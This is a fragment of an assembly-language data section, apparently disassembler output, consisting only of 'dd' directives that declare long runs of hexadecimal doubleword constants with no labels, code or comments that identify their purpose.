		dd 0C2F10507h, 0F3CFE300h, 8A27786Bh, 3D5E0009h, 0D8918630h
		dd 5C00EC79h, 40033108h, 1DCF09Fh, 0E8C34CBFh, 0FC213EF3h
		dd 0B500F8FDh, 0D659EF76h, 988FA88Bh, 3E713ADAh, 0AF799B00h
		dd 58CA0174h, 763ABC00h, 2BFC17C1h, 94C80075h, 0D800244h
		dd 900647Fh, 0F8C6C3F0h, 1AD279h, 91663D21h, 6170C9EDh
		dd 0DAA4C200h, 0FCBBE23Bh, 0FF260025h, 49E8895Bh, 9B4897EBh
		dd 76007066h, 0B1E5BB21h, 0B823F85Eh, 8DF20771h, 80CFD45Fh
		dd 0E921970Ah, 82624D00h, 362E31EEh, 83081391h,	0FD0800D9h
		dd 9360DD6Ah, 75E90703h, 4CC97A54h, 0F600E2C8h,	2B5E5D2Fh
		dd 48036552h, 0B371E9B5h, 5060CFA5h, 0CA886Eh, 9CE84629h
		dd 0A4D1C24h, 0EB1A8400h, 753BFB9Ah, 53DC004Fh,	0F7AE5782h
		dd 9900C8B4h, 9D08523Ch, 75431168h, 1D5B384Dh, 0BA96E700h
		dd 884AD5E8h, 98EB7A1Fh, 0FFC2680h, 9C40459h, 0C7EE13D4h
		dd 0D01F0F80h, 1A013475h, 7C5F4CF1h, 0F4D0B9B8h, 181D00B3h
		dd 9753F8Ah, 0A77C541Eh, 0F8D8130Dh, 0ADC9952h,	0CCB809ABh
		dd 0A900D058h, 0D8027E9Bh, 3BEC3Ch, 1C8B67A1h, 0F02AD496h
		dd 7D940D62h, 0E040871Eh, 4F3A58F1h, 89783020h,	0D0E85084h
		dd 5F003C21h, 9AD6E4DCh, 502885F3h, 870140E0h, 816B96Ch
		dd 40BE31C7h, 60D87A00h, 0DA893D0Dh, 0B600CE75h, 1C269254h
		dd 52ECF3h, 63F539A3h, 8C7489D7h, 7AE3A20Eh, 99C10014h
		dd 0F2BC42h, 0EAA7C533h, 41E77759h, 278639h, 947CC6BDh
		dd 897042h, 0A5A12847h,	0B326C29h, 0D0F7AD00h, 7EE28A50h
		dd 0F25800B2h, 44D194A8h, 9002160h, 981B75A2h, 0EA6FB9B3h
		dd 4EC0096h, 913F8CD2h,	0D10052C8h, 6BA532D3h, 33B14Ch
		dd 6096E261h, 94C323D9h, 74494103h, 0A653C183h,	1A1B00F0h
		dd 0B9E2565Ah, 0F72878F2h, 0CC30A861h, 13942038h, 0D4F50FE4h
		dd 0FD9C06C6h, 5D18F881h, 5079B5DFh, 4C37DEBCh,	2F2D4700h
		dd 69558299h, 258100B8h, 0CFE47663h, 9F03753Eh,	23DE5913h
		dd 0B842CD41h, 9022745Dh, 5C583948h, 4842C719h,	99313E32h
		dd 0B7C94440h, 4D702700h, 41932B18h, 962F1F64h,	261B47FBh
		dd 87AB2090h, 2728FC4Ah, 0D500F885h, 0E66DD061h, 35AE879h
		dd 5995849Dh, 200088ECh, 0C94BC85Ch, 7C315B1h, 95626F76h
		dd 9032505Dh, 4418AFACh, 6E582541h, 4F2630BEh, 8845E468h
		dd 3F5E5B00h, 86894A94h, 7E1900CBh, 0A860E535h,	1F01A365h
		dd 75625717h, 2920A93Fh, 6FC60348h, 67D52214h, 32F1101Fh
		dd 658DA500h, 39520F19h, 3800AF5Fh, 3F9C9F31h, 0FF00870Ch
		dd 0E026C2E1h, 60CD16ABh, 0AA497CBEh, 0B1003FFCh, 0A81E665Dh
		dd 1A394EAh, 0BE20BFB5h, 0DC4623BAh, 8B3F01F5h,	6DE90391h
		dd 87D07741h, 840D06A0h, 2D2C0064h, 0D14C702Ah,	3E004549h
		dd 443BA7B5h, 0E0BA9Eh,	0B218CFBBh, 77857987h, 749A6F01h
		dd 32A87BC9h, 0DCBBC0h,	0EF5BC833h, 75ECBD9Dh, 493C4407h
		dd 0E060968Dh, 0E28FC1h, 0FA0A21D2h, 347D527Ch,	0E7EBA400h
		dd 0AEE8C230h, 0B5870038h, 964FD66Ah, 0CF00BCC9h, 4A104732h
		dd 33A50FAh, 273A3DFh, 4CA01987h, 3EE4512Ah, 0E2BC2601h
		dd 77FFC978h, 63DEE8h, 8FB98AC2h, 0A20ED16Ch, 3372E500h
		dd 208BC7ABh, 0A49B0070h, 98E0E484h, 0B200CD19h, 1399E8B8h
		dd 4DEBD9h, 9B1ABB2Ah, 9F4FD596h, 490B4400h, 1714664Eh
		dd 0A799006Dh, 52E4CD1Ah, 3D062706h, 8B64C7F3h,	67B22228h
		dd 18287810h, 780DC611h, 22513720h, 0B70032E6h,	0E4CCEC0Fh
		dd 802544DAh, 8540956Fh, 8051DFAAh, 231D7D55h, 11FECE2h
		dd 0DFDDE003h, 0D7ACFFC0h, 3D026B12h, 0D51E2E8Dh, 9C8C80B4h
		dd 59EE6649h, 4E90991Eh, 0D862B380h, 1054374h, 0D07875Ah
		dd 308C4298h, 523F1490h, 0FD5870DAh, 0BD0A07BAh, 3A439D17h
		dd 0B0C8D384h, 0DF29C9h, 44CCB53Ch, 0A3837F9Ah,	73933D1Dh
		dd 0BB8BBEC7h, 4056AA12h, 0EF2C71h, 0FEA985FFh,	8DC79234h
		dd 9D5F8A2Eh, 3C56C300h, 737982h, 8FD184AAh, 0EEB6BF7h
		dd 0BF8E8700h, 0A69698B2h, 0DD68009Bh, 0BB36DE43h, 5C005EDAh
		dd 709D75F6h, 246256A0h, 0F84F51h, 0A4B4FF8Bh, 1A62DE7Bh
		dd 20EA5850h, 260B7612h, 0BA5D8503h, 9044F04Dh,	0E972D4h
		dd 4B56428Dh, 0D786D893h, 0E0AA7400h, 55B91D2Eh, 85440043h
		dd 29D988BEh, 0B300DF66h, 453D35CDh, 77A9B0Bh, 0E94C8FC6h
		dd 90C98743h, 23B0945Fh, 83064700h, 848516E3h, 7486015Dh
		dd 5E8DED59h, 942CA0F9h, 2CDE8858h, 94200DA4h, 0C5E4E51Fh
		dd 1001FD9Ch, 276424CAh, 7341B888h, 6ECEB80h, 0C608E0h
		dd 1D21D882h, 0A667225Fh, 2ABF5A0Fh, 0E0F2AC9Eh, 1774001Eh
		dd 602C3A90h, 110366C0h, 0E77A4FF9h, 0F81BC047h, 59790089h
		dd 0D716C131h, 2870A3C4h, 8B121507h, 37901729h,	0FFA62h
		dd 0AD1B3A6Dh, 57930C4Ah, 21B3B500h, 5E29649Ch,	25FEBBh
		dd 53B32E4h, 43518E7Ch,	0E505E876h, 0EA835C80h,	0F0AACA18h
		dd 0CDD200E7h, 1BE83CA9h, 0F300BE8Fh, 0B3A8EE9Dh, 3CE0108h
		dd 0E1A95A56h, 0E8B8F9E3h, 912D16A3h, 2BD4A0h, 685BF018h
		dd 0AD000A36h, 0D4530C3Ah, 2C5A8189h, 79ED612h,	0F70D58E9h
		dd 0AEC180B1h, 0F5E432D2h
		dd 2D5BFD07h, 0BF04681h, 673D22h, 4E71D96Ah, 0A0FE3F56h
		dd 9BACEE00h, 0AB7C89DCh, 0DA372CA9h, 0F9CE0022h, 0C2D244C6h
		dd 391744Ch, 9482C81Eh,	0C09EF8E4h, 7B3E0055h, 5A348391h
		dd 0E8004AAAh, 23D1CC6h, 1464729h, 0F5681AD8h, 0FC39EF3Ch
		dd 0E7007DC7h, 6C36D4A3h, 75535EC1h, 0A7060FF4h, 3040B4A2h
		dd 820A98BAh, 0DFF83700h, 2589DD47h, 0D5F2009Fh, 5987F79Eh
		dd 7F13E675h, 400691Ah,	0F5772A08h, 7C8300ADh, 0B290F699h
		dd 0F41E0A84h, 18586BD0h, 3EC0590h, 21615D5Eh, 59C00640h
		dd 0B50CBDA9h, 30B14A76h, 9E800E5h, 334D301Ch, 263DC7C3h
		dd 0A3AC0742h, 47C0AFCCh, 0FEAB13h, 0F43E229h, 943AB128h
		dd 5F652700h, 11F37036h, 9B1900DCh, 88C3DF2Fh, 2500D0C6h
		dd 0A4E4A816h, 0FA27052Ah, 0F4EE0069h, 90D97A77h, 0D00331FAh
		dd 0A7663346h, 3D99B0F1h, 0F30C0094h, 0D5A51A36h, 8907F2C3h
		dd 21082CF7h, 883870A0h, 855C0009h, 6656B133h, 4D007F3Eh
		dd 0F8B7EC3Fh, 601E68h,	54C316C9h, 0E2DEAE1Bh, 35442F09h
		dd 0D2568593h, 0FA8D20Eh, 300DC018h, 9758E2h, 10205CBBh
		dd 8EA70A9Fh, 0F9005FE8h, 0F1DCC256h, 39AAA1Fh,	85C40DD2h
		dd 0CD876B0h, 3000DAA2h, 8490F82h, 7FDE1B8h, 1A45B2F0h
		dd 2B1310DFh, 0EE03E41Bh, 0AF9836FAh, 1FB4A075h, 0DDD006Bh
		dd 65F5D7DAh, 880F3929h, 0F2C6616Eh, 0A2BD00AAh, 0DDC7371h
		dd 7C69B200h, 9C8AFEBAh, 0F573D6h, 517459A8h, 0A9965008h
		dd 18AD5F00h, 36B8C22Dh, 6FA500D8h, 5BA0D1D4h, 57035280h
		dd 0AAD02538h, 0A675F834h, 1E97823h, 0B2A1D5FBh, 0C895FA3Fh
		dd 6204F564h, 38CA0D22h, 0CFF3A1C1h, 0EBD7ECh, 262AE06Eh
		dd 0FB08E3F9h, 0CE67C200h, 1F340476h, 6C5700EFh, 9215A083h
		dd 0E30016B2h, 6908139Ah, 26452h, 0AB1D34C0h, 0C9CE9F73h
		dd 8830F360h, 0A048D8h,	621780FAh, 0CAE73F5Dh, 15745C00h
		dd 485012FDh, 9A081C10h, 0CF638080h, 47D933EDh,	0C2F60E00h
		dd 6D5EC6C4h, 5BC90072h, 74FD2502h, 580EB297h, 0A319319Eh
		dd 0B03951ACh, 17EED5F5h, 3779E4h, 71934ED3h, 0AA00E3DAh
		dd 59C3569Bh, 72E1815Fh, 949A05BAh, 3B5557h, 778066ACh
		dd 0C8F4F5A2h, 2F00F675h, 0A717A1E4h, 60F83Fh, 9F8A15EFh
		dd 74DD400Eh, 0DEFA4673h, 370E0CE0h, 20A736C9h,	0B4E5B535h
		dd 420101D8h, 0E4E2384Bh, 5FA5C826h, 0FEADA58h,	60CFB294h
		dd 0A15EAB66h, 0DA1F608Eh, 32DCF18Dh, 3C293D00h, 91088BF3h
		dd 867B72h, 12332EA4h, 5CEF594h, 0B1807850h, 0CAFE141Fh
		dd 8E6B940h, 636F35h, 717424F3h, 91BA19EDh, 5A8CCD24h
		dd 0DC9F4907h, 4D012600h, 3C6F0152h, 32CE27AAh,	8CDBC0FFh
		dd 0CB007178h, 69BC22F6h, 0DE1E9Ah, 8579E684h, 6DE1C201h
		dd 0EFE7E503h, 0D0CC229Bh, 7EC97D36h, 0E3FA0099h, 0A2F8D643h
		dd 470011DDh, 0D7936C8Bh, 0F95055h, 5208E1D1h, 2ACFD0B2h
		dd 0C035A000h, 9F3B791Ah, 95CD3A1Eh, 0F681EAB9h, 53399013h
		dd 73AA600Dh, 422D3407h, 55D08602h, 9CF1BA8h, 0A19F3890h
		dd 0E1D9F280h, 0BE002B66h, 3F286063h, 0D8552Fh,	52863906h
		dd 34E5FBE2h, 6ACDCF00h, 0AB984326h, 13898F4h, 0B6908908h
		dd 0BE2BEA82h, 0FD978118h, 0E992E67Bh, 73A7F70h, 26080CDBh
		dd 3EEA03Dh, 6D3F5B9Ah,	95AC004Eh, 4746F7A7h, 4516335Ah
		dd 60A09E19h, 300D8EAh,	0AD4F6686h, 0A9A7742h, 0C757B3D0h
		dd 83BF00C4h, 0A87D5836h, 6CAD1400h, 9520D7BEh,	0ED0600F2h
		dd 0AE1AF457h, 2500B12Ah, 9297BF71h, 58C82Eh, 0FE65E8ECh
		dd 43E1C585h, 0F2DA8900h, 9CEDD55Bh, 7DA20079h,	0C9B7A093h
		dd 0F80E44C8h, 80577734h, 0C59153A4h, 55439A3h,	97853700h
		dd 2B073D12h, 808E3F3Ch, 0A4894D72h, 3942442Dh,	9803B61h
		dd 36F049BDh, 8A00F9EDh, 0ACE04AE2h, 3A42A56h, 0E423A18Dh
		dd 0DDE8B59Ch, 7300C2B0h, 5D9261E0h, 0C15C7Ch, 21F56F5Ah
		dd 133E14C8h, 0F71B7E1Eh, 68FCF3C0h, 0EC5DD72Ah, 5DB908Eh
		dd 0C6129AAEh, 36E1006Dh, 74FBC5D1h, 182A200h, 30CAFD68h
		dd 668C008Eh, 0E8AD713h, 0D100D52Fh, 0B3858D42h, 78496A61h
		dd 3C640020h, 25786863h, 19C7BA84h, 44C0A0D0h, 3227E7Fh
		dd 0D8199DAEh, 0BCE064CCh, 52603F4Bh, 3DFE7B28h, 9FE300DCh
		dd 0EF176F87h, 543E8C5Dh, 2BD880CAh, 0B409A5F6h, 48B86007h
		dd 872D69DDh, 5BAE300h,	99C8F72Bh, 4EA300FAh, 0BFCDB498h
		dd 2130723Ch, 948530BBh, 41C00E13h, 71E1F828h, 0C4DB68DCh
		dd 0E81C0883h, 0F040A476h, 7BF6205h, 1F0901B4h,	0D4C9FD82h
		dd 4B3EF4EFh, 75AAD8E1h, 0D800207Ch, 57DCBF3Ch,	0FA43F5h
		dd 0DD60371Eh, 985E80F9h, 0FB204700h, 956AEAB5h, 7E9D17A8h
		dd 49440246h, 960CE3Eh,	4FF0803Ah, 50B80C01h, 4ABF463Dh
		dd 84F9ECh, 548F0FAEh, 6156D008h, 0AC7CB909h, 87110358h
		dd 0AA14A17Fh, 0E311080h, 7A055EE5h, 7CB64A80h,	2D720022h
		dd 991D63C4h, 497ED2C5h, 0BB31FF3Ah, 0FAFD98B0h, 73E19B8h
		dd 8922D05Dh, 34404F5Ah, 241E5644h, 0CAAC8A00h,	0B8549392h
		dd 53A23BFCh, 8DBE8300h, 2AE772ADh, 0B7CC5100h,	0C5D8AB06h
		dd 3B872FA1h, 200D1F4h,	0AD0DDA81h, 32C101A3h, 0A1794616h
		dd 0F682D40Ch, 4894FD1Ch, 3A40C600h, 7A41E22Dh,	5FAC1E38h
		dd 4602C7DFh, 0F5E0001Bh, 93007277h, 0BADCE36Dh, 6E530Eh
		dd 0EF645ED8h, 0EEF8B4ABh, 0C3C3Ah, 0EC8BFD55h,	287D2Fh
		dd 6C797264h, 0D72756A7h, 3407A9F0h, 0D4A8948Fh, 8BB50EC0h
		dd 0AA480082h, 0ECC22B50h, 4E05D786h, 8CBC63FEh, 0A4CA72C0h
		dd 99793EF8h, 4D202700h, 0C4FF7D29h, 0BB34C700h, 0DC7C6F46h
		dd 0E076006Dh, 2E859368h, 38039F59h, 0F2145C1Bh, 6E5EF0E6h
		dd 0F3B5832h, 244C0073h, 0EF824180h, 0FB764E87h, 0A3A97D00h
		dd 0FFE65329h, 0CDE86Dh, 36A02723h, 50B68251h, 6F02AC0h
		dd 38BA849h, 2B5A0156h,	0E0CFFE58h, 30547F11h, 696F2100h
		dd 0B9A0189Fh, 0B71C072Fh, 9033E86Eh, 3648488h,	31F71000h
		dd 0C90427C0h, 16630F7Dh, 95401D3Bh, 0D243E5E3h, 0F4C1621Eh
		dd 0E6A2D080h, 0CB22ACh, 0DCE8676Dh, 91DA8419h,	527036F8h
		dd 1AFC700h, 0FB3D4A1Ch, 0A69009Eh, 0FE328A97h,	0A100B6F7h
		dd 0ED174285h, 0D891B5h, 281669A2h, 23AEDDC5h, 2414C3F8h
		dd 7DAD13DAh, 52B19D00h, 8086AC95h, 0E7E1009Eh,	500C257Dh
		dd 5BFEC3DBh, 0CAC94700h, 1E65824Eh, 1FEE4Dh, 0A003D919h
		dd 2E964B05h, 58C22330h, 0E3D375h, 0A8CEE697h, 3B0993A0h
		dd 3DD41F00h, 0C8A496ABh, 20F10064h, 5812840Ch,	3600A843h
		dd 0A3090F53h, 345D2BE3h, 80989EF8h, 228376E3h,	509B7800h
		dd 0BC297D2h, 5B33007Fh, 0CAF66A2Fh, 0D31255C9h, 5A00C318h
		dd 3AC57492h, 0F0F50205h, 13D08901h, 1D4CDA40h,	26F7811Dh
		dd 0C8F861C0h, 7DAAC4B2h, 0D6720233h, 0E85F8A1Ah, 0CBA4D660h
		dd 0CF519100h, 46126498h, 815B0F23h, 2AA0A028h,	5E69FCBDh
		dd 0DF67E500h, 76024C77h, 980501A9h, 7F6F5363h,	0AE10A874h
		dd 197A8900h, 0A323FA44h, 5CE600CAh, 3B484650h,	0ED3AE129h
		dd 0ABFE9FDFh, 0DC0F0680h, 0F99F9F0h, 0B148E481h, 833366E0h
		dd 64E42BECh, 28CB7118h, 71F101DAh, 4F2D00F2h, 0B0513F04h
		dd 0BD001E7Eh, 334E15DBh, 1504B66h, 28A7A358h, 0F8B11C96h
		dd 881DF1C7h, 32008E2Eh
		dd 3FFF4A8h, 73980328h,	0D31C783Ch, 0CB1969D8h,	180D2B30h
		dd 938ED6Bh, 4A6276BAh,	3E7BA200h, 1B009ADEh, 474F2ED8h
		dd 0E5753Bh, 764AD420h,	9CA63C9Eh, 324ED3Eh, 1A3E3A9Ah
		dd 2A7C9053h, 0CF5E1CE7h, 32A189FBh, 0EB6E3D80h, 5100FE9Ch
		dd 430D8EC2h, 3BA5C491h, 0AB807B75h, 0C91E953Bh, 0D4A05EAFh
		dd 0EEC0B8BEh, 8FBDF9F1h, 1E147701h, 0C045CAADh, 9827A0F0h
		dd 5A001524h, 6BD4E160h, 0D01B9Fh, 8BD5E3AFh, 0C07B86D9h
		dd 0D600F1F2h, 69263E80h, 0EF2F42h, 0F3C87F94h,	0B347E1Fh
		dd 0DD9ECA00h, 9136A36Bh, 0EE9B0084h, 7449AA5h,	0ACA01F68h
		dd 72503527h, 4B3C6C8Ah, 0D00303A4h, 88E20753h,	0F8CF54h
		dd 0B0F16076h, 85460138h, 1B9C3900h, 25C4B5C1h,	0EC2600CDh
		dd 8A7C316Bh, 353CA12Fh, 649079EDh, 7FB25800h, 7883529Fh
		dd 0A29600FCh, 0BDCCE7FEh, 510C8CAAh, 0B80F5732h, 209E204Eh
		dd 7A11558h, 0BDC304ABh, 4422EC80h, 271A0041h, 66C0128h
		dd 460E5E38h, 0E5F934D9h, 0E480D2DEh, 64C983h, 0DAF2A2F5h
		dd 44942618h, 130D84Ch,	62F95743h, 29F416F8h, 0B3EC7Ch
		dd 9D0A48E9h, 6A958866h, 4C58FB03h, 0B8063256h,	1A7DE0h
		dd 728DF9C8h, 0AB50F562h, 0F3251400h, 0BAF6EF8Ah, 2088006Fh
		dd 643C19F4h, 1200BF0Ch, 49B0AFACh, 7ADCA50Fh, 0D0F6D7h
		dd 417940FAh, 0DDF8F794h, 461AD00h, 0D56B1C35h,	6DA005AEh
		dd 80E3C536h, 0FE664BF2h, 1C7F7200h, 41BC11A1h,	4FCA033Fh
		dd 3A0ADC6h, 0A33DCCB0h, 0EB208F00h, 0FDA8E0FEh, 610B3FA5h
		dd 0BBBDE700h, 0B130A792h, 0BC84B000h, 8DF353C9h, 1B90329h
		dd 19B4C503h, 0E57E1C98h, 0FBF27800h, 7B1AF720h, 4661B706h
		dd 0F824E982h, 0C0199D79h, 0F9F88CE4h, 0E488B9C4h, 99E2005Fh
		dd 0B8836E58h, 8B1E4BBDh, 55003081h, 7C823D93h,	9DD11DCFh
		dd 0BDD009Bh, 846B6B4h,	64609C00h, 0AD136978h, 26A50094h
		dd 0B97473EAh, 0C10509EBh, 0B43F9FA1h, 0A6F3B300h, 72CF92Ah
		dd 0EDEC3D4h, 0EBB1B0A7h, 6500A1E8h, 0BE693436h, 348F4BFh
		dd 965DBAD9h, 110132ECh, 1CD6ED8Ah, 1C80EFCEh, 10934711h
		dd 751F45A3h, 6F41F96Ah, 17FDF785h, 2EA8D4h, 15DA2BB7h
		dd 3FF42630h, 36635F00h, 0A0896B45h, 49CC0701h,	300AAC04h
		dd 0DF6443A1h, 0F93DEEECh, 16EA80EBh, 0B65CF34Eh, 7C01002Bh
		dd 0C44DB5C8h, 0D700CB9Ah, 6A31CF33h, 0F5E3CA0h, 3D2B0C2Dh
		dd 0F181C10Fh, 600BFF4Ch, 0C80FE723h, 89A7BBh, 37737B94h
		dd 4B3E0061h, 8EC9496Ah, 2F002B23h, 40F93639h, 85C310h
		dd 70B6D516h, 0BFC61C73h, 621B7700h, 1FB85C27h,	7B0E03Bh
		dd 51A67E0Eh, 5284B088h, 6F00B681h, 16F21976h, 0F774AB8h
		dd 54800391h, 0EBDDAE80h, 0F0152A5h, 691D7B20h,	0DC8007ECh
		dd 1CABB8C6h, 0A200167Fh, 955DC0Ah, 7B288CBh, 0CF3680AEh
		dd 9483E09Dh, 4E00AF81h, 47581CDBh, 73ED574h, 0BE829361h
		dd 44E6E083h, 48001B55h, 5D2FFD7Ah, 30825E4h, 608378CFh
		dd 95A0BAF2h, 0B300EAD0h, 5026A0C2h, 0F61998h, 2B0687ACh
		dd 3E018B88h, 0D412961Fh, 0C053E783h, 0C3B5882Eh, 866A00E1h
		dd 4B33B3A9h, 500040A1h, 0DAC8E33Eh, 3B84653Ch,	0D100D704h
		dd 0E0AD4FF6h, 0A000ACEAh, 0D9701E19h, 0C7A11254h, 87654E10h
		dd 0C27472h, 40DDDE2Eh,	182A5028h, 77662496h, 139E00B7h
		dd 9F765814h, 9401C47Fh, 0C0A80E86h, 0FBDC92FFh, 34D20048h
		dd 46CA2CEh, 83003D65h,	0CB47A988h, 0D0F6B8h, 1550E63Bh
		dd 0F1940286h, 0A7CF38C0h, 284FB472h, 889609h, 0F55407EAh
		dd 5EFEB780h, 56626E00h, 3F978FABh, 0A9B90052h,	0D2EBE5EFh
		dd 12002AC3h, 9B9A8822h, 7A564957h, 0CAE402h, 7FD48EF8h
		dd 22E7A3ECh, 0C8FB7500h, 0AB8301C9h, 67BF00FCh, 0B66688Fh
		dd 3C008941h, 0A18B2A42h, 0A81A02Eh, 964635BCh,	75E680A0h
		dd 0B0A8837Ch, 0B42D481Dh, 420944Ch, 8CFD00CAh,	37AF0A05h
		dd 0A00317CDh, 0DEB4B86h, 66400197h, 0F098563Ch, 7033E02Bh
		dd 0E613260Ch, 7D1F0AAh, 63FE8D4Eh, 0C22130E9h,	0E200CCDDh
		dd 0CBBAF041h, 43D6FAh,	7FD53708h, 7CB44CDEh, 948F501Dh
		dd 2E8DEAC0h, 3A21172Ch, 0D600E0DFh, 0A9AD4ACAh, 4B008870h
		dd 731E7D8Dh, 0B642D7h,	411B377Eh, 5D1C52B9h, 6AB70F00h
		dd 4B461EA7h, 51A900C8h, 0AA38C668h, 1003B59Ch,	6CAC6306h
		dd 1ECCE9EEh, 0DB6FDCh,	0FFF2393Dh, 9F10725Ch, 0E554CB00h
		dd 0B680A281h, 28B50001h, 83E47A92h, 5103AC5Ch,	0B33B055Eh
		dd 99A49857h, 6DC400E7h, 8F739C3Fh, 25769B16h, 59E54600h
		dd 2BB38038h, 0D4750E5Bh, 8383AD57h, 0D8F39E66h, 60F6CC8h
		dd 0CE001B71h, 0C743CCA0h, 0AEA458h, 51AA1925h,	2F407F26h
		dd 0C3DC331Fh, 80FC9180h, 0E82DF3F1h, 0E643007Ah, 15C79470h
		dd 0E8901D9Fh, 0F02FF900h, 51D9A413h, 924400ADh, 0CD337C2Eh
		dd 1100F6C4h, 78D86315h, 9FF45h, 491732E3h, 0AA8B3662h
		dd 7FAC358h, 38142718h,	9477E10h, 6D2B008Ah, 88B699E5h
		dd 4201E243h, 0BA660DA5h, 0E7D0D0F2h, 9D33008Ch, 2B17477Fh
		dd 9B263494h, 2700D299h, 7556D243h, 8DCF1DF6h, 0CE6C8753h
		dd 0BF8ED0DDh, 0B002680Ah, 67B4F8FDh, 0CAA080D8h, 0F77D9Fh
		dd 0A9D0052Bh, 0B061845Bh, 0FC30B239h, 94A0E975h, 0F89747DCh
		dd 0E62F0383h, 0C0586768h, 42154800h, 5E521193h, 0B0A90031h
		dd 68798547h, 0C93F61D2h, 0FA078FA5h, 0CF035DE4h, 0E8922Eh
		dd 8E689068h, 8FA9B86Ah, 968AA500h, 6D4480B1h, 4B1F00A4h
		dd 1489767Eh, 641C679Eh, 695EB5FDh, 4E6BF6C1h, 83F87A22h
		dd 71FE63h, 0CB2DF27Bh,	0B702655Dh, 25E0EA00h, 0A3D03B55h
		dd 26190F13h, 0ADC09A43h, 6C8A9433h, 84EA6614h,	240D00F5h
		dd 5AE1DB6Dh, 3C6300B6h, 82F7B759h, 0CDE89AB0h,	3154B312h
		dd 8A4ED10h, 20FB382Eh,	6B7F00D0h, 0ADC01BC1h, 0F00F5370h
		dd 401EC8E1h, 986D287Bh, 0D7F4B6h, 89B2CA0Ah, 0BE73F4B8h
		dd 5774C000h, 84E22C33h, 14591ECCh, 0E6508056h,	0F3815440h
		dd 656D711Ch, 0DD84BC0h, 3A6448h, 0DAEC1C63h, 8E96C0C6h
		dd 0CC006D77h, 5A5527B6h, 3AFC18C9h, 0B51D85DFh, 4F4ADEF8h
		dd 48836263h, 82E80CFEh, 112E5579h, 0F30E8D05h,	624CA1AFh
		dd 65608AB5h, 93230084h, 0D44BDD60h, 131E9B72h,	3380E6ABh
		dd 0ED3C6118h, 5E7000ACh, 28745048h, 9A00B8D3h,	6D2D165Bh
		dd 4C727785h, 0E2001B65h, 0A3F7A640h, 7031CBCh,	2A3E5F49h
		dd 8221F0EBh, 1D85039Dh, 4405A024h, 0F5359EA0h,	2A0081F0h
		dd 0DF33C945h, 5F90480h, 0BED0F8CBh, 57158334h,	0E158D000h
		dd 0C58086D1h, 3C391D20h, 0E23A84F4h, 938980F3h, 0A6147C7Bh
		dd 9FF84Fh, 0C2651384h,	3D731020h, 0B08E70A7h, 11A79F33h
		dd 5BFB807Ch, 0EA3FD69Eh, 7B7287EBh, 2FA7B825h,	0A64EE200h
		dd 91843E8Eh, 0ED87BA39h, 4081EFB9h, 2C2595D9h,	80E6143Ch
		dd 0BA6EE0B4h, 5118EE71h, 66E48892h, 68B90031h,	128942E1h
		dd 872E8CF0h, 670F0449h, 4665405Dh, 0E409D86Ch,	32570025h
		dd 0A34B70ECh, 3D0C019Bh, 1073F3D3h, 0FDF20072h, 1A6804DDh
		dd 2E0FAB84h, 0A090DEF9h, 0F7F1062Bh, 0E9FC4C59h, 8402F30Fh
		dd 62B17C63h, 0BB4CA3B7h, 0BCE9497Ch, 0BFAEBB92h, 0F7EA804Fh
		dd 0AC2BC96Fh, 0AE80E1Bh, 1CC0B4C5h, 0AD99C8A3h, 210BD600h
		dd 15FF76FCh, 5C0A006Dh
		dd 582D6634h, 0CF019559h, 0F183F280h, 8720EC1Bh, 0D1011F3Ah
		dd 46398103h, 0E8A6D385h, 671FB0C9h, 978522A4h,	3A807CB5h
		dd 0A34AA5h, 9D32B724h,	0A0BFE4EEh, 0F380AF18h,	3193DF0h
		dd 65D35577h, 8A88BAA7h, 0F4C8F62h, 0CBA218F0h,	77BF8240h
		dd 8E673BFAh, 8FE98582h, 0FC805FCAh, 31D7041h, 9AFDAD00h
		dd 0D59762F0h, 7CBC3915h, 8A4F2280h, 0F5728878h, 801AB33Ah
		dd 0C1BAE2E6h, 80FF44h,	27AA5F2Ch, 0EE8EACEBh, 312643Bh
		dd 7B3F8151h, 0DFB08894h, 0D159002Eh, 8C62EC52h, 5F2CF68Ah
		dd 6E032FFBh, 0E814755Dh, 639B217h, 16972B76h, 9300409Dh
		dd 57864EF2h, 7ED50E2h,	11AB9CEAh, 0BE709073h, 940784AFh
		dd 7CB145D8h, 2C51ED80h, 0DA9D07C5h, 9AC395CBh,	576100A8h
		dd 0E358CD7Fh, 59F015F6h, 0B2671200h, 43CE1CE8h, 0D5690009h
		dd 27A206DBh, 0AA0037B1h, 54FC8B4Fh, 5CEDA494h,	0F9009B6Ch
		dd 0CF08F580h, 190329B8h, 0E83718F4h, 6661C093h, 1A5C002Ah
		dd 3BBE1662h, 0ED003AB4h, 39548F57h, 20A987h, 4DE188F0h
		dd 0EFAD5891h, 6AA42403h, 88031453h, 0E614Bh, 842F2D4Eh
		dd 0BD35ADA2h, 3701C0E6h, 6F13A59Ch, 17E0EF33h,	0EA9A0098h
		dd 85A110CCh, 0B70B2F8Dh, 80977331h, 7C456F1h, 4E95078Bh
		dd 0E4C02AF8h, 77E490ADh, 0C00E332h, 0DF36D1ABh, 0F96A34h
		dd 300B394Fh, 8CED5EAFh, 809FBC3Eh, 0DAD26747h,	0A51A13h
		dd 68AA893Eh, 7B963B8Fh, 5FB4440Eh, 0FE8A60AFh,	0A34994h
		dd 0A6D07C89h, 0F023BD5Ch, 960C0302h, 60CCDBD9h, 942908h
		dd 68CAFF88h, 864F592h,	18D6FD00h, 8475A52Bh, 0AEA6004Ch
		dd 0FEA46B8Ah, 5171D5FCh, 40B8A700h, 48856256h,	7B522689h
		dd 0D6A40010h, 0CA80D064h, 268D3100h, 0F1E3A8A7h, 1C447732h
		dd 807BC5FDh, 0A10FB48Fh, 93D99E7h, 0B73300A7h,	2391870h
		dd 361D0086h, 0F9E99B6Ch, 0C40055CDh, 3BDE4B5Bh, 0E0BD5Fh
		dd 0B6647C5Ah, 92329E16h, 602E3800h, 7DB418F3h,	0BB690017h
		dd 0DE5C3CB3h, 5B3EAB44h, 6F12FCA3h, 9003EFFCh,	0D07DFB2Bh
		dd 7C45B3BAh, 0A031F076h, 0CE8608h, 0DF24B9EAh,	0A5600683h
		dd 0A765D00h, 0F5F7116Ch, 0C83E00E1h, 7CCFE29Ah, 0BF00A0C6h
		dd 6A936D41h, 0EE7DBFFh, 4F4D164Eh, 11BD3E81h, 1DD2E02Eh
		dd 539B820Eh, 29BB8010h, 2D30F9h, 0BA2008D1h, 0BDEE0ADCh
		dd 72207A60h, 18DA176Dh, 40F9F641h, 901B753h, 6A714D3Dh
		dd 28D044D4h, 10B5373Eh, 0E063E061h, 2036CC3h, 339D5896h
		dd 0ACD1E0BCh, 46775Eh,	0E203B37Ah, 4A67FECDh, 9E79EE1Fh
		dd 178938FEh, 2001521Bh, 0AB2F4253h, 0DA90F4h, 77294F4Bh
